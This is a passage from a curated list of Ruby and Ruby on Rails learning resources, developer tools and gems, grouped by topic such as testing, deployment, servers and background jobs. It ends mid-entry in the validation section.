Academic writing on the Ruby programming language. ### Ruby on Rails for beginners - ★ [The Rails 5 Way](https://www.amazon.com/dp/B077D9X5NM/) by *Obie Fernandez* - [Agile Web Development with Rails 6](https://pragprog.com/book/rails6/agile-web-development-with-rails-6) - [The Ruby on Rails Tutorial](https://www.railstutorial.org/book) by *Michael Hartl* - [Learn Ruby on Rails](http://www.amazon.com/dp/B00QK2T1SY) by *Daniel Kehoe* ### Ruby on Rails, advanced level - [Crafting Rails 4 Applications: Expert Practices for Everyday Rails Development](http://www.amazon.com/Crafting-Rails-Applications-Practices-Development/dp/1937785556/) by *José Valim* - [Rails AntiPatterns: Best Practice Ruby on Rails Refactoring](http://www.amazon.com/Rails-AntiPatterns-Refactoring-Addison-Wesley-Professional/dp/0321604814/) by *Chad Pytel*, *Tammer Saleh* - [Deploying Rails: Automate, Deploy, Scale, Maintain, and Sleep at Night](http://www.amazon.com/Deploying-Rails-Automate-Deploy-Maintain/dp/1934356956/) by *Tom Copeland*, *Anthony Burns* - [Multitenancy with Rails](http://leanpub.com/multi-tenancy-rails) by *Ryan Bigg* - [Ruby Science](https://gumroad.com/l/ruby-science) by *thoughtbot* - [Rebuilding Rails](https://rebuilding-rails.com/) by *Noah Gibbs* - [The Complete Guide to Rails Performance](https://www.railsspeed.com/) by *Nate Berkopec* ### Testing - [The RSpec Book: Behaviour Driven Development with RSpec, Cucumber, and Friends](http://www.amazon.com/The-RSpec-Book-Behaviour-Development/dp/1934356379/) by *David Chelimsky*, *Dave Astels*, *Bryan Helmkamp*, *Dan North*, *Zach Dennis*, *Aslak Hellesoy* - [Rails 5 Test Prescriptions: Build a Healthy Codebase](https://pragprog.com/book/nrtest3/rails-5-test-prescriptions) by *Noel Rappin* - [Continuous Testing](http://pragprog.com/news/continuous-testing-with-ruby-rails-and-javascript-now-in-print) by *Ben Rady* and *Rod Coffin* - [Everyday Rails Testing with RSpec](https://leanpub.com/everydayrailsrspec) by *Aaron Sumner* - [What Do I Test?](https://whatdoitest.com/) by *Eric Steele* - [Testing Rails](http://testingrailsbook.com) by *thoughtbot* - [Rails Testing Handbook](https://semaphoreci.com/ebooks/rails-testing-handbook) by *Semaphore* ### Other frameworks and tools - [RubyMotion](http://www.amazon.com/RubyMotion-Pragmatic-Programmers-Clay-Allsopp/dp/1937785289/) by *Clay Allsopp* - [Build Awesome Command-Line Applications in Ruby 2](http://pragprog.com/book/dccar2/build-awesome-command-line-applications-in-ruby-2) by *David Copeland* - [Sinatra Book](https://github.com/sinatra/sinatra-book/) — a cookbook full of excellent tutorials and recipes for developing Sinatra web applications. - [The Guide to Cuba](http://theguidetocuba.io) — this book will teach you how to create a Ruby web application from scratch using Cuba microframework. ## Blogs - [Santi Metz](https://www.sandimetz.com/blog/) - Writes about flexible object-oriented code in Ruby and Rails, avid speaker. - [Yehuda Katz](http://yehudakatz.com) - [Justin Weiss](http://www.justinweiss.com/blog/archives/) - [RubyFlow](http://rubyflow.com) - [A Fresh Cup](http://afreshcup.com/) — links to new resources and insightful blog posts. - [RubyGuides](https://www.rubyguides.com) — Ruby tutorials & articles to help you become a better developer and author of [Practical Object-Oriented Design in Ruby](http://poodr.com). - [Hix on Rails](https://hixonrails.com/ruby-on-rails-tutorials/) - battle-tested step by step guides and how-tos on Ruby on Rails configuration ## Community Resources - [Rails Girls](http://guides.railsgirls.com/) — Rails tutorials for girls in a variety of languages. - [/r/ruby](http://reddit.com/r/ruby) — Ruby community on Reddit. - [/r/rails](http://reddit.com/r/rails) — Rails community on Reddit. - [StackOverflow](https://stackoverflow.com/questions/tagged/ruby) — Questions tagged with `ruby`. - [StackOverflow](https://stackoverflow.com/questions/tagged/ruby-on-rails) — Questions tagged with `ruby-on-rails`. - [Explore Ruby Libraries](https://kandi.openweaver.com/explore/ruby) — Discover & find a curated list of popular & new libraries, top authors, trending project kits, discussions, tutorials & learning resources on kandi. ## Screencasts and courses - ★ [Pluralsight](https://www.pluralsight.com/search?q=ruby) Ruby Course Library. - ★ [RubyTapas](http://rubytapas.com) by Avdi Grimm. - ★ [GoRails](https://gorails.com) — a series of screencasts and guides for all aspects of Ruby on Rails. Learn how to setup your machine, build a Rails application, and deploy it to a server. - ★ [The Pragmatic Studio](http://pragmaticstudio.com) - ★ [Lynda.com](http://www.lynda.com/search?q=ruby) - ★ [Thoughtbot Upcase](https://thoughtbot.com/upcase/) - [Hanami Mastery](https://hanamimastery.com) - Articles & screencasts about awesome ruby projects. - [Ruby From Scratch](https://www.codemy.net/posts/rfs-introduction-to-ruby-001/sets/ruby-from-scratch) - [Rails Foundation](https://www.codemy.net/posts/rails-generating-an-app/sets/rails-foundation) - [Rails API](https://www.codemy.net/posts/rails-api-generating-an-api-only-rails-app-001/sets/rails-api) - [RubyPlus](https://rubyplus.com/episodes) - [Ruby screencasts at TutsPlus.com](http://code.tutsplus.com/categories/ruby/courses) - [Rails screencasts at TutsPlus.com](http://code.tutsplus.com/categories/rails/courses) - [RailsCasts](http://railscasts.com) - [Learn Rails the Zombie Way](http://railsforzombies.org) - [CodeAcademy](http://www.codecademy.com/tracks/ruby) - [confreaks.com](http://confreaks.com/) — expert recording services for conferences, seminars, and workshops. - [Learnable](https://learnable.com/topics/ruby) — video courses and books ($30 per month). - [Destroy All Software](https://www.destroyallsoftware.com/) — by Gary Bernhardt. - [RubySteps](https://www.rubysteps.com) - daily emails on Ruby, Rails, TDD, OOP, and Refactoring with code examples and challenges. Also mob programming events with guest developers and Pat Maddox. ($149 per month). - [UT on Rails](http://www.schneems.com/ut-rails/) - 10 weeks long Ruby on Rails screencasts. It assumes you know little about programming and not used Ruby, Rails or databases previously. Good for beginners. - [Drifting Ruby](https://www.driftingruby.com/) - [The Complete Ruby on Rails Developer Course](https://www.udemy.com/the-complete-ruby-on-rails-developer-course/) - A complete begginer friendly low price course on udemy with a lot of extra infos. ## Other Learning Materials - [Ruby Videos](https://rubyvideo.dev) – index of all Ruby-related videos from conferences and meetups worldwide. - [TryRuby](http://tryruby.org) — online Ruby console and 15 minute interactive Ruby tutorial. - [Project Euler](http://projecteuler.net) — a huge amount of programming problems to learn any language. - [PuzzleNode](http://puzzlenode.com) — a site for coders who enjoy to work on challenging problems, and is inspired by similar efforts such as Project Euler and the Internet Problem Solving Contest. - [Ruby on Rails Guides](http://guides.rubyonrails.org) — These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together. - [Ruby Koans](http://rubykoans.com) — will walk you along the path to enlightenment in order to learn Ruby. The goal is to learn the Ruby language, syntax, structure, and some common functions and libraries. We also teach you culture. Testing is not just something we pay lip service to, but something we live. It is essential in your quest to learn and do great things in the language. - [RubyMonk](https://rubymonk.com) — free, interactive tutorials to help you discover Ruby idioms, in your browser! - [SitePoint](http://www.sitepoint.com/ruby/) — articles on Ruby programming. - [Better Specs](http://betterspecs.org) — RSpec best practices. - [Sourcegraph](https://sourcegraph.com) — search engine for code examples/ Here is a [demo video](https://www.youtube.com/watch?v=YYL0ZoPeB5w). - [Basic Algorithms written in Ruby](https://github.com/Djo/algorithms). - [Algorithms and Data Structures in Ruby](https://github.com/kumar91gopi/Algorithms-and-Data-Structures-in-Ruby) - [Jumpstart Lab](http://tutorials.jumpstartlab.com/) — a list of beginner and advanced-level Ruby, Rails, and Sinatra project tutorials. Includes challenging independent projects as well. - [RubyOffRails](https://rubyoffrails.com/) — An online Ruby course recently open sourced. - [The Odin Project](http://www.theodinproject.com/ruby-programming) — an online Ruby lesson plan with a community to help. - [Ruby one-liners cookbook](https://learnbyexample.github.io/learn_ruby_oneliners/preface.html) — free guide for text processing with Ruby from the command line. - [Ruby Regexp](https://learnbyexample.github.io/Ruby_Regexp/preface.html) — free ebook to learn Ruby regular expressions, includes exercises. - [Kandi](https://kandi.openweaver.com/explore/ruby#Top-Authors) - Explore Ruby and all its libraries along with many projects. ## Style Guides - [The Ruby Style Guide](https://github.com/bbatsov/ruby-style-guide) - [The Rails Style Guide](https://github.com/bbatsov/rails-style-guide) - [GitHub Ruby Coding Style](https://github.com/styleguide/ruby) - [Thoughtbot Style Guides](https://github.com/thoughtbot/guides) (Ruby, Rails, Git some other technologies) See also: - [Semantic Versioning](http://semver.org) - [Keep a CHANGELOG](http://keepachangelog.com) — don’t let your friends dump git logs into CHANGELOGs™ - [Code quality analysis tools](#code-quality-analysis). ## Podcasts - [Code and the Coders Who Code it](https://podcast.drbragg.dev/) - [Remote Ruby](https://remoteruby.transistor.fm/) - [Ruby5](http://ruby5.envylabs.com) - [Ruby Rogues](http://rubyrogues.com) - [Ruby on Rails Podcast](http://5by5.tv/rubyonrails) - [Giant Robots Smashing into Other Giant Robots](http://podcasts.thoughtbot.com/giantrobots) ## Tools ### IDEs and text editors - StackOverflow: [What Ruby IDE do you prefer?](http://stackoverflow.com/questions/16991/what-ruby-ide-do-you-prefer) - ★ [Sublime Text](http://www.sublimetext.com) — one of the best text editors for coding. Take a look at [Sublime Bookmarks](https://github.com/dreikanter/sublime-bookmarks) — a comprehensive list of plugins and other related stuff. - [RubyMine](http://jetbrains.com/ruby/) — intelligent Ruby and Rails IDE. - [Atom](http://atom.io) — a brand-new hackable text editor from Github. - [Visual Studio Code](code.visualstudio.com) — Redefined code editor from Microsoft with [Ruby debugging support](https://marketplace.visualstudio.com/items?itemName=rebornix.Ruby). ### Code quality analysis - [sonarlint-intellij](https://github.com/SonarSource/sonarlint-intellij) - An IDE extension that helps you detect and fix quality issues as you write code. - [RuboCop](https://github.com/bbatsov/rubocop) — a Ruby static code analyzer, based on the community Ruby style guide. - [Guard plugin for RuboCop](https://github.com/yujinakayama/guard-rubocop) — allows you to automatically check Ruby code style with RuboCop when files are modified. - [RubyCritic](https://github.com/whitesmith/rubycritic) — a gem that wraps around static analysis gems such as Reek, Flay and Flog to provide a quality report of your Ruby code. ### Environment management - ★ [rbenv](https://github.com/sstephenson/rbenv) — a tool to pick a Ruby version for your application and guarantee that your development environment matches production. Put rbenv to work with Bundler for painless Ruby upgrades and bulletproof deployments. - [rbenv-vars](https://github.com/sstephenson/rbenv-vars) — an rbenv plugin that safely sets global and per-project environment variables. - [RVM](https://rvm.io) — a command-line tool which allows you to easily install, manage, and work with multiple ruby environments from interpreters to sets of gems. - [chruby](https://github.com/postmodern/chruby) — a tool that changes the current Ruby. ### Ruby distributions - [RubyInstaller](http://rubyinstaller.org) — a self-contained Windows-based installer that includes the Ruby language, an execution environment, important documentation, and more. - [RubyStack](https://bitnami.com/stack/ruby) — a complete development environment for Ruby on Rails that can be deployed in one click. It includes the latest stable release of Ruby, RVM, Rails, Apache, NGinx, MySQL, SQLite, Git and Subversion, Memcache and Varnish, Sphinx, PHP and phpMyAdmin. ### Documentation - [Dash](http://kapeli.com/dash) — an API Documentation Browser and Code Snippet Manager. Dash stores snippets of code and instantly searches offline documentation sets for 150+ APIs, including Ruby core libraries, and Ruby on Rails. - [Zeal](http://zealdocs.org) – Dash alternative for Linux & Windows. - [DevDocs](http://devdocs.io) — multiple API documentations in a fast, organized, and searchable interface (web). - [OmniRef](https://omniref.com) — comprehensive ruby documentation search (web). ### Application and Web Servers - [Unicorn](http://unicorn.bogomips.org) – Rack HTTP server for fast clients and Unix. - [Phusion Passenger](https://phusionpassenger.com) — a fast and robust web server and application server for Ruby, Python and Node.js. - [Thin](http://code.macournoyer.com/thin/) – A very fast & simple Ruby web server. - [Puma](https://github.com/puma/puma) — a Ruby web server built for concurrency. - [Pow!](http://pow.cx) — a zero-config Rack server for Mac OS X. - [Powder](https://github.com/Rodreegez/powder) — user-friendly CLI wrapper for Pow. - [Powify](https://github.com/sethvargo/powify) — a management tool for Pow by 37 signals. It allows you to easily install, update, and manage pow and pow applications seamlessly. - [Prax](http://ysbaddaden.github.io/prax/) — a pure ruby alternative to Pow! that runs on GNU/Linux. - [TorqueBox](http://torquebox.org) — an application platform that supports popular technologies such as Ruby on Rails and Sinatra, while extending the footprint of Ruby applications to include built-in support for services such as messaging, scheduling, caching, and daemons. TorqueBox provides an all-in-one environment, built upon the latest JBoss AS Java application server and JRuby. Functionality such as clustering, load-balancing and high-availability is included right out-of-the-box. See also: - [The Ruby Web Benchmark Report](http://www.madebymarket.com/blog/dev/ruby-web-benchmark-report.html) (July 2014) — „I benchmarked every single version of Ruby available as of the beginning of this test — January 2014. On each version I benchmarked every Rack server and web framework combination I could find. I tested with both Apache Bench and wrk to see if there are flaws that one benchmarking tool picks up on that the other didn’t. The goal of the benchmark is the fastest benchmark run, not the average.“ - [App Server Arena](https://blog.engineyard.com/2014/ruby-app-server-arena-pt1) — a comparison of popular ruby application servers. ### Deployment Automation and Configuration Management - [Capistrano](https://github.com/capistrano/capistrano) — remote multi-server automation tool. - [Chef](https://github.com/opscode/chef) — a systems integration framework, built to bring the benefits of configuration management to your entire infrastructure. - ★ [Mina](https://github.com/mina-deploy/mina) – really fast deployer and server automation tool. - [Rails + Nginx + Unicorn Dockerfile](https://github.com/seapy/dockerfiles/tree/master/rails-nginx-unicorn) — easy useable docker for rails. less configuration, affordable production. ### Other tools - [Pry](http://pryrepl.org) — a powerful alternative to the standard IRB shell for Ruby. It features syntax highlighting, a flexible plugin architecture, runtime invocation and source and documentation browsing. - [Reek](https://github.com/troessner/reek) — code smell detection for Ruby. - [Foreman](https://github.com/ddollar/foreman) — manage Procfile-based applications. - [Rubular](http://rubular.com) — a Ruby-based regular expression editor. It's a handy way to test regular expressions as you write them. - [httpie](https://github.com/jakubroztocil/httpie) — extremely handy command line HTTP client, a user-friendly cURL replacement. - [ngrok](https://ngrok.com) — introspected tunnels to localhost. ngrok creates a tunnel from the public internet (http://subdomain.ngrok.com) to a port on your local machine. You can give this URL to anyone to allow them to try out a web site you're developing without doing any deployment. - [eye](https://github.com/kostya/eye) — a process monitor. - [god](https://github.com/mojombo/god) - the Ruby Framework for Process Management - [DuckRails](https://github.com/iridakos/duckrails) - development tool for mocking API endpoints quickly & dynamically. ## Quizzes, tests, exams - [CodeQuizzes](https://www.codequizzes.com) — Learn programming by doing, not by reading. - [codewars.com](http://www.codewars.com) — Achieve mastery through challenge. - [21 Essential Ruby Interview Questions](https://www.toptal.com/ruby/interview-questions) at Toptal. ## Deployment - [A guide to setting up a Ruby on Rails production environment](https://gorails.com/deploy/ubuntu/14.04) at DigitalOcean. - [How To Automate Ruby On Rails Application Deployments Using Capistrano](https://www.digitalocean.com/community/tutorials/how-to-automate-ruby-on-rails-application-deployments-using-capistrano) - [How to Use the DigitalOcean Dokku Application](https://www.digitalocean.com/community/tutorials/how-to-use-the-digitalocean-dokku-application) - [How To Use the Dokku One-Click DigitalOcean Image to Run a Ruby on Rails App](https://www.digitalocean.com/community/tutorials/how-to-use-the-dokku-one-click-digitalocean-image-to-run-a-ruby-on-rails-app) ## Security - [OWASP Ruby on Rails Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Ruby_on_Rails_Cheat_Sheet.html) - [Ultimate Guide to Rack::Attack](https://wafris.org/guides/ultimate-guide-to-rack-attack) - [Awesome Ruby Security](https://github.com/pxlpnk/awesome-ruby-security) ## Gems ### ActiveRecord - [Annotate](https://github.com/ctran/annotate_models) — Add a comment summarizing the current schema to the top or bottom of each of your ActiveRecord models, fixtures, tests and specs, factory_girl factories, routes.rb file, etc. - [Paperclip](https://github.com/thoughtbot/paperclip) — easy file attachment management for ActiveRecord. - [Thinking Sphinx](https://github.com/pat/thinking-sphinx) — a library for connecting ActiveRecord to the Sphinx full-text search tool, and integrates closely with Rails (but also works with other Ruby web frameworks). - [Ancestry](https://github.com/stefankroes/ancestry) — organise ActiveRecord model into a tree structure. - [Squeel](https://github.com/activerecord-hackery/squeel) — lets you write your Active Record queries with fewer strings, and more Ruby, by making the Arel awesomeness that lies beneath Active Record more accessible. - [pp_sql](https://github.com/kvokka/pp_sql) - Rails ActiveRecord SQL queries log beautifier. ### API - [RABL](https://github.com/nesquena/rabl) — a Rails and Padrino ruby templating system for generating JSON, XML, MessagePack, PList and BSON. - [Grape](https://github.com/intridea/grape) — an opinionated micro-framework for creating REST-like APIs in Ruby. - [Pliny](https://github.com/interagent/pliny) – write excellent APIs in Ruby. - [Committee](https://github.com/interagent/committee) - A collection of middleware to help build services with JSON Schema, OpenAPI 2, OpenAPI 3. - [Savon](https://github.com/savonrb/savon) - a micro-framework to handle all the soap(WSDL) requests. ### Authentication - [Devise](https://github.com/plataformatec/devise) — flexible authentication solution for Rails with Warden. - [OmniAuth](https://github.com/intridea/omniauth) — a flexible authentication system utilizing Rack middleware. - [Authlogic](https://github.com/binarylogic/authlogic) — a clean, simple, and unobtrusive ruby authentication solution. - [sorcery](https://github.com/NoamB/sorcery) — magical Authentication for Rails 3 and 4, with OAuth support. Supports ActiveRecord, DataMapper, Mongoid and MongoMapper. ### Authorization - [CanCanCan](https://github.com/CanCanCommunity/cancancan) — a continuation of the dead. [CanCan](https://github.com/ryanb/cancan) project. Our mission is to keep CanCan alive and moving forward, with maintenance fixes and new features. - [Pundit](https://github.com/elabs/pundit) — minimal authorization through OO design and pure Ruby classes. ### Avatars - [avatarly](https://github.com/lucek/avatarly) — a simple gem for creating gmail-like user avatars based on user email or any other string passed. ### Background Jobs - [Sidekiq](http://sidekiq.org) — a full-featured background processing framework for Ruby. It aims to be simple to integrate with any modern Rails application and much higher performance than other existing solutions. - [Backburner](https://github.com/nesquena/backburner) — a beanstalkd-powered job queue that can handle a very high volume of jobs. - [Delayed::Job](https://github.com/tobi/delayed_job) — database backed asynchronous priority queue. - [que](https://github.com/chanks/que) — a Ruby job queue that uses PostgreSQL's advisory locks for speed and reliability. - [Resque](https://github.com/resque/resque) — a Redis-backed Ruby library for creating background jobs, placing them on multiple queues, and processing them later. - [Sucker Punch](https://github.com/brandonhilkert/sucker_punch) — an asynchronous processing library using Celluloid, heavily influenced by Sidekiq and girl_friday. - [Ohm](https://github.com/soveran/ohm) — object-hash mapping for Redis. ### Bootstrap - [bootstrap-sass](https://github.com/twbs/bootstrap-sass) — official SASS port of Twitter Bootstrap. - [twitter-bootstrap-rails](https://github.com/seyhunak/twitter-bootstrap-rails) — Twitter Bootstrap for Rails asset pipeline. ### CLI - [colorize](https://github.com/fazibear/colorize) — String class extension. It add some methods to set color, background color and text effect on console easier using ANSI escape sequences. - [TTY](https://github.com/peter-murach/tty) — a toolbox for developing beautiful command line clients in Ruby. ### CSS - [LESS](https://github.com/cowboyd/less.rb) — leaner CSS, in your browser or Ruby. - [Bourbon](http://bourbon.io) — a lightweight mixin library for Sass. - [SASS](https://github.com/sass/sass) — an extension of CSS3, adding nested rules, variables, mixins, selector inheritance, and more. It's translated to well-formatted, standard CSS using the command line tool or a web-framework plugin. - [Bitters](https://github.com/thoughtbot/bitters) — add a dash of pre-defined style to your Bourbon. - [Autoprefixer](https://github.com/ai/autoprefixer-rails) — a tool to parse CSS and add vendor prefixes to CSS rules using values from the Can I Use. This gem provides Ruby and Ruby on Rails integration with this JavaScript tool. ### Configuration and environment variables - ★ [dotenv](https://github.com/bkeepers/dotenv) — loads environment variables from .env file into ENV in development. - [Chamber](https://github.com/thekompanee/chamber) — A surprisingly configurable convention-based approach to managing your application's custom configuration settings. - [Figaro](https://github.com/laserlemon/figaro) — simple, Heroku-friendly Rails app configuration using ENV and a single YAML file. ### Debugging - [Pry](http://pryrepl.org) - A runtime developer console and IRB alternative with powerful introspection capabilities. - [Byebug](https://github.com/deivid-rodriguez/byebug) — a simple to use, feature rich debugger for Ruby 2. It uses the new TracePoint API for execution control and the new Debug Inspector API for call stack navigation, so it doesn't depend on internal core sources. It's developed as a C extension, so it's fast. And it has a full test suite so it's reliable. ### E-commerce - [FastSpring](https://github.com/fastspring/fastspring-ruby) — subscription API for Rails. - [Active Merchant](https://github.com/Shopify/active_merchant) — a simple and unified API to access dozens of different payment gateways with very different internal APIs. - [PayPal](https://github.com/paypal/rest-api-sdk-ruby) — this SDK provides Ruby APIs to create, process and manage payment. - [Solidus](https://github.com/solidusio/solidus) — An open source ecommerce solution built with Ruby on Rails. ### Graphics - [RMagick](https://github.com/rmagick/rmagick) — an interface to the ImageMagick and GraphicsMagick image processing libraries. - [MiniMagick](https://github.com/minimagick/minimagick) — a ruby wrapper for ImageMagick or GraphicsMagick command line. - [psd.rb](https://github.com/layervault/psd.rb) Parse Photoshop files in Ruby with ease. ### HTML, XML - [Nokogiri](http://nokogiri.org) — an HTML, XML, SAX, and Reader parser. Among Nokogiri’s many features is the ability to search documents via XPath or CSS3 selectors. ### Logging - [Yell](https://github.com/rudionrails/yell) — Your Extensible Logging Library, a comprehensive logging replacement for Ruby. - [Fluentd](https://github.com/fluent/fluentd) — an open source data collector designed for processing data streams, which instantly enables you to have Log Management, Big Data Analytics, etc. - [mongodb_logger](https://github.com/le0pard/mongodb_logger) — an alternative logger for Rails or Rack based app, which log all requests of you application into MongoDB database (allow to store and search any information from logs; web panel allow filter logs, build graphs using MapReduce by information from logs). - [Hatchet](https://github.com/gshutler/hatchet) — logging library that provides the ability to add class/module specific filters. - [logstasher](https://github.com/shadabahmed/logstasher) Awesome rails logs - [Rails Pretty logger](https://github.com/kekik/rails-pretty-logger/) Check and search logs from dashboard, use hightlight to spot easily, add hourly rotation if needed. ### Mail - [Pony](https://github.com/benprew/pony) — the express way to send email in Ruby. - [Mailgun-Ruby](https://github.com/mailgun/mailgun-ruby) — Mailgun's Official Ruby Library. - [AWS::SES](https://github.com/drewblas/aws-ses) — easy ruby DSL & interface to [Amazon SES](http://aws.amazon.com/ses/). See also the [official Ruby SDK](http://aws.amazon.com/sdkforruby/). - [Mail](https://github.com/mikel/mail) — a library that is designed to handle emails generation, parsing and sending in a simple, rubyesque manner. ### Markdown - [kramdown](https://github.com/gettalong/kramdown) — yet-another-markdown-parser but fast, pure Ruby, using a strict syntax definition and supporting several common extensions, http://kramdown.gettalong.org - [redcarpet](https://github.com/vmg/redcarpet) — a fast, safe and extensible Markdown to (X)HTML parser. - [maruku](https://github.com/bhollis/maruku) — a pure-Ruby Markdown-superset interpreter. - [markup](https://github.com/github/markup) — the code GitHub uses to render `README.your_favorite_markup`. See also: - StackOverflow: [Better ruby markdown interpreter?](http://stackoverflow.com/questions/373002/better-ruby-markdown-interpreter) ### Message Queuing - [AMQP](https://github.com/ruby-amqp/amqp) — EventMachine-based RabbitMQ client. - ★ [Bunny](http://rubybunny.info) — RabbitMQ Ruby client based on AMQP gem. - [rbzmq](https://github.com/zeromq/rbzmq) — Ruby binding for ZeroMQ. - ★ [ffi-rzmq](https://github.com/chuckremes/ffi-rzmq) — FFI bindings for ZeroMQ so the library can be used under JRuby and other FFI-compliant ruby runtimes. ### Misc If there is a nice gem, but it is difficult to classify it with existing bookmarks groups, or it is still one of his kind, put it here. - [Prawn](https://github.com/prawnpdf/prawn) — fast, nimble PDF generation. - [Dalli](https://github.com/mperham/dalli) — high performance Memcached client for Ruby. - [EventMachine](https://github.com/eventmachine/eventmachine) — fast, simple event-processing library. - [rpush](https://github.com/rpush/rpush) — push notification service, supporting Apple Push Notification Service, Google Cloud Messaging, Amazon Device Messaging, Windows Phone Push Notification Service. - [Rubyzip](https://github.com/rubyzip/rubyzip) — reading and writing zip files. - [JsonCompare](https://github.com/a2design-company/json-compare) — returns the difference between two JSON files. - [MicroMachine](https://github.com/soveran/micromachine) — minimal Finite State Machine. - [Dante](https://github.com/nesquena/dante) — turn any ruby code into a daemon. - [Memoist](https://github.com/matthewrudy/memoist) — an extraction of ActiveSupport::Memoizable with few extensions. - [Awesome Print](https://github.com/michaeldv/awesome_print) — a Ruby library that pretty prints Ruby objects in full color exposing their internal structure with proper indentation. Rails ActiveRecord objects and usage within Rails templates are supported via included mixins. - [twig](https://github.com/rondevera/twig) Your personal Git branch assistant - [datashift](https://github.com/autotelik/datashift) Comprehensive Excel and CSV import/export tools for Ruby - [Configurations](https://github.com/beatrichartz/configurations) — provides a unified approach to do configurations for gems or other ruby code. - [awesome_print](https://github.com/awesome-print/awesome_print) — a Ruby library that pretty prints Ruby objects in full color exposing their internal structure with proper indentation. Rails ActiveRecord objects and usage within Rails templates are supported via included mixins. - [YYMMDD](https://github.com/sshaw/yymmdd) — tiny DSL for idiomatic date parsing and formatting. - [Libnotify](https://github.com/splattael/libnotify) — Ruby bindings for libnotify, a crossplatform user notification library. - [MemFs](https://github.com/simonc/memfs) — provides a fake file system that can be used for tests. - [Github-Changelog-Generator](https://github.com/skywinder/Github-Changelog-Generator) — automatically generate change log from your tags, issues, labels and pull requests. - [wannabe_bool](https://github.com/prodis/wannabe_bool) — If string, numeric, symbol and nil values wanna be a boolean value, they can with the new #to_b method (and more). - [response_code](https://github.com/torokmark/response_code) Response Code in readable way. ### Multithreading - [thread](https://github.com/meh/ruby-thread) — extensions to the thread library (includes thread pool). - [Sprawling](https://github.com/dreikanter/ruby-bookmarks) — spawn gem for Rails to easily fork or thread long-running code blocks. - [Parallel](https://github.com/grosser/parallel) — Run any code in parallel Processes(&gt; use all CPUs) or Threads(&gt; speedup blocking operations). Best suited for map-reduce or e.g. parallel downloads/uploads. ### Profiling and Performance - [ruby-prof](https://github.com/ruby-prof/ruby-prof) — a code profiler for MRI rubies. - [Timecop](https://github.com/travisjeffery/timecop) — a gem providing "time travel", "time freezing", and "time acceleration" capabilities, making it simple to test time-dependent code. It provides a unified method to mock Time.now, Date.today, and DateTime.now in a single call. - [timecop-console](https://github.com/ferndopolis/timecop-console) — expose Timecop's capabilities to the UI in your rails app, allowing QA to take advantage of it. - [stackprof](https://github.com/tmm1/stackprof) — a sampling call-stack profiler for ruby 2.1+. - [stackprof-webnav](https://github.com/alisnic/stackprof-webnav) — web UI for viewing stackprof dumps. - [rblineprof](https://github.com/tmm1/rblineprof) — line-profiler. - [Peek](https://github.com/peek/peek) — status bar showing performance info for Rails apps. - [Peek::Rblineprof](https://github.com/peek/peek-rblineprof) — peek into how much each line of your Rails application takes throughout a request. - [Bullet](https://github.com/flyerhzm/bullet) — a gem to help to increase application's performance by reducing the number of queries it makes. It will watch your queries while you develop your application and notify you when you should add eager loading (N+1 queries), when you're using eager loading that isn't necessary and when you should use counter cache. - [rack-mini-profiler](https://github.com/MiniProfiler/rack-mini-profiler) — middleware that displays speed badge for every html page. Designed to work both in production and in development. - [Instrumental](https://github.com/Instrumental/instrumental_agent-ruby) — Real-time performance monitoring with a non-blocking and non-exception causing agent. ### Rack - [Rack::Timeout](https://github.com/heroku/rack-timeout) — abort requests that are taking too long. - [Rack::Protection](http://rkh.github.io/rack-protection/) — protects against typical web attacks. Should work for all Rack apps, including Rails. - [Rack::LiveReload](https://github.com/johnbintz/rack-livereload) — Bring in `livereload.js` into handy Rack middleware. No need for browser extensions anymore! Just plug it in your middleware stack and go! Even supports browsers without WebSockets! - [rack-mini-profiler](https://github.com/MiniProfiler/rack-mini-profiler) — middleware that displays speed badge for every html page. Designed to work both in production and in development. - [Coverband](https://github.com/danmayer/coverband) — Rack middleware to help measure production code coverage. ### Rails - [Simple Form](https://github.com/plataformatec/simple_form) — forms made easy for Rails! It's tied to a simple DSL, with no opinion on markup. - [ResqueMailer](https://github.com/zapnap/resque_mailer) — Rails plugin for sending asynchronous email with ActionMailer and Resque. - [Jammit](http://documentcloud.github.io/jammit/) — an industrial strength asset packaging library for Rails, providing both the CSS and JavaScript concatenation and compression that you'd expect, as well as YUI Compressor, Closure Compiler, and UglifyJS compatibility, ahead-of-time gzipping, built-in JavaScript template support, and optional Data-URI / MHTML image and font embedding. - [CarrierWave](https://github.com/carrierwaveuploader/carrierwave) — classier solution for file uploads for Rails, Sinatra and other Ruby web frameworks. - [Kaminari](https://github.com/amatsuda/kaminari) — clean, powerful, customizable and sophisticated paginator for modern web app frameworks and ORMs. - [suspenders](https://github.com/thoughtbot/suspenders) — a Rails template with [Thoughtbot](http://thoughtbot.com) standard defaults, ready to deploy to Heroku. - [High Voltage](https://github.com/thoughtbot/high_voltage) — easily include static pages in your Rails app. - [Squasher](https://github.com/jalkoby/squasher) — compresses old migrations in a Rails application. If you work on a big project with lots of migrations, every rake db:migrate might take a few seconds, or creating of a new database might take a few minutes. That's because Rails loads all those migration files. Squasher removes all the migrations and creates a single migration with the final database state of the specified date (a new migration will look like a schema). - [Metamagic](https://github.com/lassebunk/metamagic) — a simple Ruby on Rails plugin for creating meta tags. It supports regular meta tags, OpenGraph (Facebook), Twitter Cards, and custom tags. - [Better Errors](https://github.com/charliesome/better_errors) — replaces the standard Rails error page with a much better and more useful error page. It is also usable outside of Rails in any Rack app as Rack middleware. - [Quiet Assets](https://github.com/evrone/quiet_assets) — turns off the Rails asset pipeline log. - [RailsAdmin](https://github.com/sferik/rails_admin) — a Rails engine that provides an easy-to-use interface for managing your data. - [paper_trail](https://github.com/airblade/paper_trail) — track changes to your models' data. Good for auditing or versioning. - [font-awesome-rails](https://github.com/bokmann/font-awesome-rails) — the [Font Awesome](http://fortawesome.github.io/Font-Awesome/) font bundled as an asset for the rails asset pipeline. - [gemoji](https://github.com/github/gemoji) — emoji images and names. - [rails_emoji](https://github.com/jsw0528/rails_emoji) — one more emoji gem for Ruby on Rails. - [Royce](https://github.com/MartinJNash/Royce) — a Ruby on Rails roles solution. - [YamlDb](https://github.com/ludicast/yaml_db) — a database-independent format for dumping and restoring data. It complements the the database-independent schema format found in db/schema.rb. The data is saved into db/data.yml. - [formtastic](https://github.com/justinfrench/formtastic) — a Rails form builder plugin with semantically rich and accessible markup. - [rails_param](https://github.com/nicolasblanco/rails_param) — parameter Validation & Type Coercion. - [RailsFriendlyURLs](https://github.com/calonso/rails_friendly_urls) - Rails gem to configure absolutely any url within your project into a SEO-Friendly one. Validation: - [email_validator](https://github.com/balexand/email_validator) — an email validator for Rails 3 and 4. - [validates_email_format_of](https://github.com/validates-email-format-of/validates_email_format_of) — 